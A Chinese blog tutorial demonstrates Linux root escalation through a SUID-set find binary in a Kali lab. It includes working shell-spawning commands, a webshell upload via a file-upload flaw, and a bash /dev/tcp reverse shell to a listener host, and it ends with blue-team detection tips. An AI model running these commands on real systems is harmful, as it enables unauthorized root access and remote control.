当前位置:首页>Linux>红队实战:Linux Find 提权

红队实战:Linux Find 提权

  • 2026-10-10 15:57:06
红队实战:Linux Find 提权

⚠️ 免责声明

❝

本文内容仅供安全研究与授权测试使用。严禁利用本文提及的漏洞进行非法攻击,后果由使用者自行承担。

在 Linux 提权中,SUID 提权是优先级最高的手段之一。而 find 命令因为其广泛存在于各类系统,具备执行外部命令的天然属性,是红队人员眼中提权的重要角色之一。

一、 实验环境搭建

在 Kali 系统中,我们通常作为攻击者。但在这里不同,为了演示,我们在kali中模拟一个find命令配置错误的场景。

1. 模拟受害者环境

假设你已经获得了一个普通用户 www-data 或 kali 的权限。现在我们要给 find 命令人为地加上 SUID 权限。

在目标机(以 root 身份执行一次)进行“投毒”:

# 1. 找到 find 命令的绝对路径which find # 通常在 /usr/bin/find
image-20260126140713776
# 2. 赋予其 SUID 权限sudo chmod u+s /usr/bin/find
image-20260126140731640
# 3. 验证权限ls -l /usr/bin/find# 你应该看到:-rwsr-xr-x ... (注意那个's')
image-20260126140750605

二、 原理解析

1. SUID

当一个文件拥有 SUID 位(如上图的 s),它在运行时不再继承启动者的权限,而是继承文件所有者(Owner)的权限。因为 /usr/bin/find 的所有者通常是 root,所以任何执行它的用户都会临时获得 root 的权限。

2. -exec 参数

find 的设计初衷是寻找文件。为了方便处理搜到的文件,它提供了 -exec 选项: find [路径] -exec [命令] \;

当 find 找到一个文件时,它会启动一个子进程来执行 -exec 后面的命令。由于父进程 find 是以 root 身份运行的,它派生出的子进程(如 /bin/sh)同样会继承这个 root 权限。

三、 实战提权

假设你现在已经通过反弹 Shell 拿到了目标机的低权限账号。

image-20260126141443762

第一步

手动找存在 SUID 权限的文件太慢,我们通常使用以下命令快速查找存在SUID权限的文件:

# 搜索系统中所有带 SUID 权限的文件find / -perm -u=s -type f 2>/dev/null

/:从根目录开始查找文件。

-perm -u=s:筛选存在 SUID 权限的文件。

2>/dev/null:将所有权限不足的报错信息丢进垃圾桶,保持屏幕干净。

image-20260126141537832

如图在返回列表中看到了 /usr/bin/find,是find提权的最基础要求

第二步

针对不同的 Linux 发行版,有几种不同的写法:

方案 A:通用型(推荐)

/usr/bin/find . -exec /bin/sh -p \; -quit

.:表示对当前目录进行搜索(只要目录下有一个文件就能触发)。

-p:关键点! 现代 sh (如 bash) 会在检测到有效 UID 与实际 UID 不符时自动丢弃权限。-p 参数强制 Shell 保持 euid (Root 权限)。

-quit:执行完命令立刻退出。如果不加,find 搜到多少文件就会弹回多少个 Shell。

执行效果,如图

image-20260126141850515

方案 B:如果find没有 -p 参数

在一些老旧系统上,find如果没有 -p 参数,我们可以使用python:

/usr/bin/find . -exec /usr/bin/python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")' \; -quit

利用 Python 的 os.execl 可以更稳定地维持权限状态。如下图显示,可以详细的看到当前用户已经由kali普通用户提权到root最高权限用户了

image-20260126141919708

第三步:身份确认

# 进入 shell 后执行whoami

如果你看到 root,说明你已经成功“提权”。

四、无交互环境下的使用

如果你在 WebShell 环境下(如冰蝎、蚁剑),无法直接获得交互式终端,可以利用 find 提权来反弹一个 Root Shell 到你的 Kali 上。

名词解释:

1、非交互式终端,这个终端是指无法通过su切换用户,或者需要你输入账号密码之类的命令,都无法在这个终端中正常执行

假设此时有一个网站,存在文件上传漏洞

image-20260126152514594

上传一句话木马

image-20260126152619888

再打开蚁剑webshell工具,新建连接

image-20260126152721656

进入此会话,在终端中打开,成功通过文件上传漏洞获取到了一个webshell(使用蚁剑webshell管理工具),whoami查看当前用户是kali用户

image-20260126143310449

如下图可以明显的看到,在webshell无法直接执行su命令,所以我们怎么通过find,来获取一个交互式的shell呢?让它能正常执行su命令?

image-20260126143638596

1. 在 攻击机 本机上开启监听:

nc -lvvp 4444
image-20260126150811104

2. 在 WebShell 中通过 find 执行反弹:

find /etc/passwd -exec bash -c 'bash -i >& /dev/tcp/10.10.10.173/4444 0>&1' \;
image-20260126150750184

这里利用 find 去扫描一个必存在的文件(如 /etc/passwd),从而稳定触发后面的反弹命令。

效果展示:已经成功的能使用su命令,这里我们已经成功通过反弹shell获取到了一个交互式的终端

image-20260126151221522

再结合之前的提权操作,完成一个完整的内网提权流程,如下图可以看到我们已经通过webshell反弹过来的shell,成功提权到root权限,完成了整个文件上传漏洞的漏洞利用链

/usr/bin/find . -exec /bin/sh -p \; -quit
image-20260126152059577

至此提权结束,下面是一些常见的问题

五、 为什么你的提权会失败?

-exec 语法错误:结尾的 \; 必须有反斜杠,且前面必须有空格。否则会提示你,-quit:command not found即命令不存在

image-20260126154442264

没有搜到文件:在一些低版本的linux发行版中,如果你在空目录下执行 find .,它搜不到任何东西,自然不会触发 -exec。解决: 随便 touch 一个文件,或者指向 /etc 目录。而在新版的linux中已经解决了这个问题。

image-20260126154715219

当然还有其他的文件,欢迎师傅们在评论区讨论,发表您的观点

六、 防御与检测 (蓝队视角)

权限审计:定期运行 find / -perm -u=s,并与基线对比,是否多了一个文件存在suid权限,如果多出来一个suid文件,那么你的系统很可能已经被黑客或者红队成员入侵。

EDR 策略:监控 find 进程派生 sh、bash 或 python 的异常行为。

最小权限原则:除非绝对必要,否则严禁给具备“命令执行”功能的工具(find, vim, more, less)赋予 SUID 权限。

七、🎁 互动与福利

分享本文到朋友圈,点赞+在看+关注,一键三联,可以凭截图找老师领取

上千学习资料+工具哦

22919c6e4ef945aa9a9cbf0f6df4f6ff

分享后扫码加我!

最新文章

随机文章